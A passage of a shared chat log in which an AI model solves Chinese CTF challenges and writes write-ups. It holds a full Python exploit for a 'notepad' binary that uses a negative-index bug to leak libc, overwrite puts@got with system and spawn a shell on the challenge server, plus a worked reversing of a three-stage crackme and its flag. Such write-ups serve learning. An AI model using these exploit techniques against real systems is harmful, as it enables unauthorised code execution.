notepad 一个简易记事本程序,允许创建和查看笔记。 题目地址:39.96.193.120:...

创建于:2026年5月9日

使用 GPT-5.5 Thinking 回答 Chat01

问题

libc.so.6
notepad

notepad

一个简易记事本程序,允许创建和查看笔记。
题目地址:39.96.193.120:10005
Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交(并写出writeUp,中文版本)

思考

Handling writeup and potential flag submission

It seems the connection was refused, preventing flag retrieval. User may just expect a writeup, not the flag itself. I should clarify in my writeup that the flag couldn’t be obtained due to connection issues. The explanation will include exploitation and vulnerability details, plus dynamic exploit steps. Including a placeholder for the flag and noting the issue will be important. I’ll finish the writeup in Chinese and note the flag as "待补" (to be added), as instructed.

Thought for 3m 17s

回答

我已经完成漏洞分析和本地验证,但远程 39.96.193.120:10005 当前从环境里连接是 Connection refused,所以无法实际读取最终 flag。下面给出可直接跑远程的 EXP 和中文 writeUp;服务恢复后运行即可拿 flag。


EXP

python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket import struct import time HOST = "39.96.193.120" PORT = 10005 # offsets from provided libc.so.6 READ_OFF = 0x111130 SYSTEM_OFF = 0x55410 def p64(x): return struct.pack("<Q", x) def u64(b): return struct.unpack("<Q", b.ljust(8, b"\x00"))[0] class Conn: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=8) self.s.settimeout(2) self.buf = b"" def recvuntil(self, delim, timeout=5): end = time.time() + timeout while delim not in self.buf and time.time() < end: try: self.s.settimeout(max(0.1, end - time.time())) data = self.s.recv(4096) if not data: break self.buf += data except socket.timeout: break idx = self.buf.find(delim) if idx != -1: out = self.buf[:idx + len(delim)] self.buf = self.buf[idx + len(delim):] return out out = self.buf self.buf = b"" return out def recv(self, timeout=0.5): self.s.settimeout(timeout) try: return self.s.recv(4096) except socket.timeout: return b"" def send(self, data): self.s.sendall(data) def sendline(self, data): self.send(data + b"\n") def sla(io, delim, data): io.recvuntil(delim) io.sendline(data) io = Conn(HOST, PORT) io.recvuntil(b"> ") # 1. leak read@libc sla(io, b"> ", b"2") sla(io, b"Index: ", b"-4") out = io.recvuntil(b"> ") leak_region = out.split(b"Content: ", 1)[1] if leak_region.endswith(b"\n> "): leak_region = leak_region[:-3] read_addr = u64(leak_region[:8]) libc_base = read_addr - READ_OFF system_addr = libc_base + SYSTEM_OFF print("[+] read@libc =", hex(read_addr)) print("[+] libc_base =", hex(libc_base)) print("[+] system =", hex(system_addr)) # 2. overwrite puts@got -> system sla(io, b"> ", b"1") sla(io, b"Index: ", b"-5") io.recvuntil(b"Name: ") io.send(b"A" * 16) io.recvuntil(b"Content: ") payload = b"B" * 16 payload += p64(system_addr) # overwrite puts@got payload += b"C" * 8 # overwrite __stack_chk_fail@got, unused io.send(payload) io.recvuntil(b"> ") # 3. create note[0].name = "/bin/sh" sla(io, b"> ", b"1") sla(io, b"Index: ", b"0") io.recvuntil(b"Name: ") io.send(b"/bin/sh\x00" + b"D" * 8) io.recvuntil(b"Content: ") io.send(b"E" * 32) io.recvuntil(b"> ") # 4. view note[0], puts(note[0].name) => system("/bin/sh") sla(io, b"> ", b"2") sla(io, b"Index: ", b"0") time.sleep(0.2) # read flag io.send(b"cat flag; cat /flag; cat flag.txt; cat /home/ctf/flag\n") time.sleep(0.8) res = b"" while True: data = io.recv() if not data: break res += data print(res.decode("latin-1", errors="ignore"))

notepad 题目 writeUp

1. 基本信息

题目给了两个文件:

text
notepad libc.so.6

notepad 是 64 位 ELF,PIE 开启,NX 开启,Canary 开启,但没有 RELRO,因此 GOT 可写。

程序功能很简单:

text
[1] Create Note [2] View Note

每条 note 的结构大概是:

c
struct note { char name[0x10]; char content[0x20]; };

全局数组 notes.bss 段,地址偏移为:

text
notes = 0x35a0

每个 note 大小为 0x30


2. 漏洞点

关键函数是 get_note()

c
printf("Index: "); scanf("%d", &idx); if (idx > 9) { printf("Index out of range!"); exit(-1); } return &notes[idx];

程序只检查了:

c
idx <= 9

但没有检查:

c
idx >= 0

所以可以输入负数索引,访问 notes 数组前面的内存。

由于 notes 前面就是 GOT 区域,并且程序没有 RELRO,因此可以通过负数索引泄露 GOT,也可以覆盖 GOT。


3. 关键地址关系

readelf -r notepad 可以看到 GOT 偏移:

text
puts@got = 0x34d0 printf@got = 0x34e0 read@got = 0x34f0 notes = 0x35a0

每个 note 大小为 0x30,所以:

text
notes + (-4) * 0x30 = 0x35a0 - 0xc0 = 0x34e0

也就是说,索引 -4 指向 printf@got

view_note() 会打印:

c
puts(note->name); puts(note->content);

idx = -4 时:

text
note->name = 0x34e0 = printf@got note->content = 0x34f0 = read@got

因此可以通过查看 idx = -4 泄露 read@got,得到 libc 基址。


4. 泄露 libc

使用 view_note(-4) 后,Content: 后面会打印 read@got 中的真实 libc 地址。

根据附件 libc:

text
read offset = 0x111130 system offset = 0x55410

所以:

python
libc_base = leaked_read - 0x111130 system = libc_base + 0x55410

5. 覆盖 GOT

接下来需要把 puts@got 覆盖成 system

选择索引 -5

text
notes + (-5) * 0x30 = 0x35a0 - 0xf0 = 0x34b0

create_note() 写入:

c
read(0, note->name, 0x10); read(0, note->content, 0x20);

idx = -5 时:

text
note->content = 0x34c0

而:

text
puts@got = 0x34d0

所以在 content 中填充:

text
0x10 bytes padding + system_addr

即可覆盖:

text
puts@got -> system

6. getshell

覆盖完成后,再创建正常 note:

text
idx = 0 name = "/bin/sh\x00"

然后执行:

text
view note 0

原逻辑是:

c
puts(notes[0].name);

但此时 puts@got 已经被改成 system,所以实际执行:

c
system("/bin/sh");

即可 getshell。


7. Flag

我这里尝试连接远程时返回:

text
Connection refused

所以当前无法实际读取 flag。

服务恢复后运行上面的 EXP,即可执行:

bash
cat flag cat /flag cat flag.txt cat /home/ctf/flag

拿到最终 flag。

问题

attachment-21.cpp

Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交(并写出writeUp,中文版本)

Python

python
MASK=0xA5A5A5A5 EXPECT_OBF=0x24965FFA h=EXPECT_OBF^MASK hex(h), h ('0x8133fa5f', 2167667295)

Python

python
def u32(x): return x & 0xffffffff def lcg(st): return u32(st*1664525 + 1013904223) h=0x8133fa5f base=[2,3,4,5,6] ga=[] for i in range(5): delta=(h>>(i*6))&0x3 ga.append(base[i]+delta) seed=h^0x12345678 state=seed x=[] for i in range(5): state=lcg(state) if i!=0: x.append(10 + state%90) else: x.append(state%10) ge=[ ga[0]*x[0]+x[1]+x[4], x[0]+ga[1]*x[1]+x[2], x[1]+ga[2]*x[2]+x[3], x[2]+ga[3]*x[3]+x[4], x[0]+x[3]+ga[4]*x[4] ] ga,x,ge, ''.join([str(x[0]), f'{x[1]:02d}', f'{x[2]:02d}', f'{x[3]:02d}', f'{x[4]:02d}']) ([5, 4, 7, 5, 7], [2, 95, 78, 91, 98], [203, 460, 732, 631, 779], '295789198')

Python

python
def gen_maze(seed): maze=[0]*16 def idx(x,y): return y*4+x st=u32(seed ^ 0x9E3779B9) x=y=0 maze[idx(x,y)]=1 path=[] while not (x==3 and y==3): st=lcg(st) canR=x<3 canD=y<3 if canR and canD: move=1 if (st & 1) else 2 elif canR: move=1 else: move=2 if move==1: x+=1; path.append('R') else: y+=1; path.append('D') maze[idx(x,y)]=1 for k in range(16): st=lcg(st) p=st%16 # false return maze,''.join(path) pw2=295789198 h=0x8133fa5f seed=u32(pw2 ^ u32(h*0x9E3779B1)) hex(seed), seed, gen_maze(seed) ('0x43116021', 1125212193, ([1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1], 'RDRDRD'))

Python

python
from pathlib import Path p=Path('/mnt/data/attachment-21.cpp') text=p.read_text(encoding='utf-8', errors='replace') for i,line in enumerate(text.splitlines(), start=1): if 'bool sg6j' in line or 'EXPECT_OBF' in line or 'generated for stage1' in line or 'd4n7' in line or 'bool d5n7' in line or 'b5k8(uint32_t' in line or 'bool s6m8' in line or 'h5b5' in line or 'seed ^=' in line or 'h5b5(password1' in line: print(i, line)

Python

python
ranges=[(301,337),(339,378),(425,510),(616,649),(657,679),(693,724),(736,750),(14,18),(87,104),(115,144),(180,217)] lines=text.splitlines() for a,b in ranges: print(f'--- {a}-{b} ---') for i in range(a,b+1): print(f'{i}: {lines[i-1]}') if i-a>4 and i<b-2: # maybe not too long? no pass print()

Python

python
from pathlib import Path p = Path('/mnt/data/attachment-21.cpp') text = p.read_text(encoding='utf-8', errors='replace') lines = text.splitlines() print("total lines", len(lines)) targets = ['bool sg6j', 'EXPECT_OBF', 'static void d4n7', 'static void b5k8(uint32_t', 'bool d5n7', 'bool s6m8', 'void h5b5', 'h5b5(password1', 'seed ^='] for i,line in enumerate(lines, start=1): if any(t in line for t in targets): print(i, line)

Python

python
def u32(x): return x & 0xffffffff def lcg(st): return u32(st * 1664525 + 1013904223) MASK = 0xA5A5A5A5 EXPECT_OBF = 0x24965FFA h = MASK ^ EXPECT_OBF base = [2, 3, 4, 5, 6] g_a = [base[i] + ((h >> (i * 6)) & 0x3) for i in range(5)] state = h ^ 0x12345678 xs = [] for i in range(5): state = lcg(state) xs.append((state % 10) if i == 0 else (10 + state % 90)) g_e = [ g_a[0] * xs[0] + xs[1] + xs[4], xs[0] + g_a[1] * xs[1] + xs[2], xs[1] + g_a[2] * xs[2] + xs[3], xs[2] + g_a[3] * xs[3] + xs[4], xs[0] + xs[3] + g_a[4] * xs[4], ] password2 = f"{xs[0]}{xs[1]:02d}{xs[2]:02d}{xs[3]:02d}{xs[4]:02d}" seed = u32(int(password2) ^ u32(h * 0x9E3779B1)) maze = [0] * 16 def idx(x, y): return y * 4 + x st = u32(seed ^ 0x9E3779B9) x = y = 0 maze[idx(x, y)] = 1 path = [] while not (x == 3 and y == 3): st = lcg(st) canR = x < 3 canD = y < 3 if canR and canD: move = 1 if (st & 1) else 2 elif canR: move = 1 else: move = 2 if move == 1: x += 1 path.append("R") else: y += 1 path.append("D") maze[idx(x, y)] = 1 print("stage1_hash =", hex(h)) print("g_a =", g_a) print("x =", xs) print("g_e =", g_e) print("password2 =", password2) print("maze_seed =", hex(seed)) print("maze rows =") for r in range(4): print(maze[r*4:(r+1)*4]) print("password3 =", ''.join(path)) print("flag =", f"ISCC{{RXDZQJQL{password2}{''.join(path)}}}")

思考

def u32(x): return x & 0xffffffff

def lcg(st): return u32(st * 1664525 + 1013904223)

MASK = 0xA5A5A5A5 EXPECT_OBF = 0x24965FFA h = MASK ^ EXPECT_OBF

base = [2, 3, 4, 5, 6] g_a = [base[i] + ((h >> (i * 6)) & 0x3) for i in range(5)]

state = h ^ 0x12345678 xs = [] for i in range(5): state = lcg(state) xs.append((state % 10) if i == 0 else (10 + state % 90))

g_e = [ g_a[0] * xs[0] + xs[1] + xs[4], xs[0] + g_a[1] * xs[1] + xs[2], xs[1] + g_a[2] * xs[2] + xs[3], xs[2] + g_a[3] * xs[3] + xs[4], xs[0] + xs[3] + g_a[4] * xs[4], ] password2 = f"{xs[0]}{xs[1]:02d}{xs[2]:02d}{xs[3]:02d}{xs[4]:02d}"

seed = u32(int(password2) ^ u32(h * 0x9E3779B1))

maze = [0] * 16 def idx(x, y): return y * 4 + x st = u32(seed ^ 0x9E3779B9) x = y = 0 maze[idx(x, y)] = 1 path = [] while not (x == 3 and y == 3): st = lcg(st) canR = x < 3 canD = y < 3 if canR and canD: move = 1 if (st & 1) else 2 elif canR: move = 1 else: move = 2 if move == 1: x += 1 path.append("R") else: y += 1 path.append("D") maze[idx(x, y)] = 1

print("stage1_hash =", hex(h)) print("g_a =", g_a) print("x =", xs) print("g_e =", g_e) print("password2 =", password2) print("maze_seed =", hex(seed)) print("maze rows =") for r in range(4): print(maze[r*4:(r+1)*4]) print("password3 =", ''.join(path)) print("flag =", f"ISCC{{RXDZQJQL{password2}{''.join(path)}}}")

Thought for 56s

回答

Flag

text
ISCC{RXDZQJQL295789198RDRDRD}

中文 WriteUp

1. 程序逻辑

附件是一个 Windows C++ 拆弹程序,共三关。主函数依次读取三段密码:

text
password1 -> sg6j() password2 -> d5n7() password3 -> s6m8()

三关全部通过后调用 h5b5(password1, password2, password3) 输出 flag。程序最后会把三段密码直接拼接到 ISCC{} 中。(attachment-21.cpp) (attachment-21.cpp)


2. 第一关分析

第一关函数是 sg6j()

它要求输入长度为 8,并且字符范围在可打印字符内。随后使用魔方加密逻辑对输入进行处理,再计算 FNV1a(cipher),最后判断:

c
(h ^ 0xA5A5A5A5) == 0x24965FFA

源码注释中已经给出了第一关正确明文:

c
EXPECT_OBF = 0x24965FFAu; // generated for stage1=RXDZQJQL

因此第一段密码为:

text
RXDZQJQL

第一关哈希值为:

text
0x24965FFA ^ 0xA5A5A5A5 = 0x8133FA5F

相关逻辑见 sg6j():长度检查、key 解码、魔方加密、FNV1a hash 和 EXPECT_OBF 对比。(attachment-21.cpp)


3. 第二关分析

第一关通过后,程序会调用:

c
d4n7(g_stage1_hash);

用第一关的 hash 派生第二关参数。(attachment-21.cpp)

d4n7() 中使用 h = 0x8133FA5F 生成系数和目标值。它先根据 hash 微调基础系数:

c
base_a = {2, 3, 4, 5, 6} delta = (h >> (i * 6)) & 0x3

计算得到:

text
g_a = [5, 4, 7, 5, 7]

然后使用 LCG 派生第二关真正的五个数:

text
x = [2, 95, 78, 91, 98]

所以第二段密码按照程序格式拼接为:

text
295789198

d4n7() 的派生逻辑和目标值计算见源码。(attachment-21.cpp)

第二关校验函数 d5n7() 要求输入长度为 9,将其拆为:

text
x1 = 第 1 位 x2 = 第 2-3 位 x3 = 第 4-5 位 x4 = 第 6-7 位 x5 = 第 8-9 位

然后验证五个线性方程。(attachment-21.cpp)

代入:

text
x1 = 2 x2 = 95 x3 = 78 x4 = 91 x5 = 98

即可通过第二关。


4. 第三关分析

第二关通过后,程序使用第二段密码和第一关 hash 生成迷宫 seed:

c
seed = atoi(password2); seed ^= (g_stage1_hash * 0x9E3779B1u); b5k8(seed);

对应源码在主流程中。(attachment-21.cpp)

代入:

text
password2 = 295789198 g_stage1_hash = 0x8133FA5F

得到:

text
maze_seed = 0x43116021

b5k8(uint32_t seed) 生成一个 4x4 迷宫,只允许向右或向下 carve 出一条保证路径。(attachment-21.cpp)

生成出的迷宫为:

text
1 1 0 0 0 1 1 0 0 0 1 1 0 0 0 1

从左上角 (0,0) 到右下角 (3,3) 的路径是:

text
R D R D R D

所以第三段密码为:

text
RDRDRD

第三关函数 s6m8() 会根据输入的 L/R/U/D 移动,越界或走到 0 都失败,最终必须到达 (3,3)。(attachment-21.cpp)


5. 拼接 Flag

最终 h5b5() 先 XOR 解出前缀 Flag: ISCC{,再依次输出三段密码,最后补 }。(attachment-21.cpp)

三段密码分别是:

text
第一段:RXDZQJQL 第二段:295789198 第三段:RDRDRD

因此最终提交:

text
ISCC{RXDZQJQL295789198RDRDRD}

问题

deepvoid
libc.so.6

deepvoid

欢迎来到“深空(DeepSpace)”跨星系数据中心。为了应对日益增长的暗物质数据,我们上线了全新的DeepVoid存储管理系统。
我们的高级架构师向董事会保证:
1.我们为每一段数据都申请了独立的安全舱。
2.这里的链表结构像星轨一样严密。
3.哪怕是空间站爆炸,数据指针也绝不会出现幽灵。
然而,最近一名实习航天员发现,当试图向存储舱更新超过预定容量的数据时,虚空的边缘似乎出现了重叠……
“虚空正在崩塌,链接正在断裂,你能利用这股混乱的力量,夺回控制中心的Root权限吗?”
题目地址:39.96.193.120:55555
Flag(一般为ISCC{XXXX},如果为flag{XXXX}会在题目描述中说明)
提交(并写出writeUp,中文版本)

分享这个问答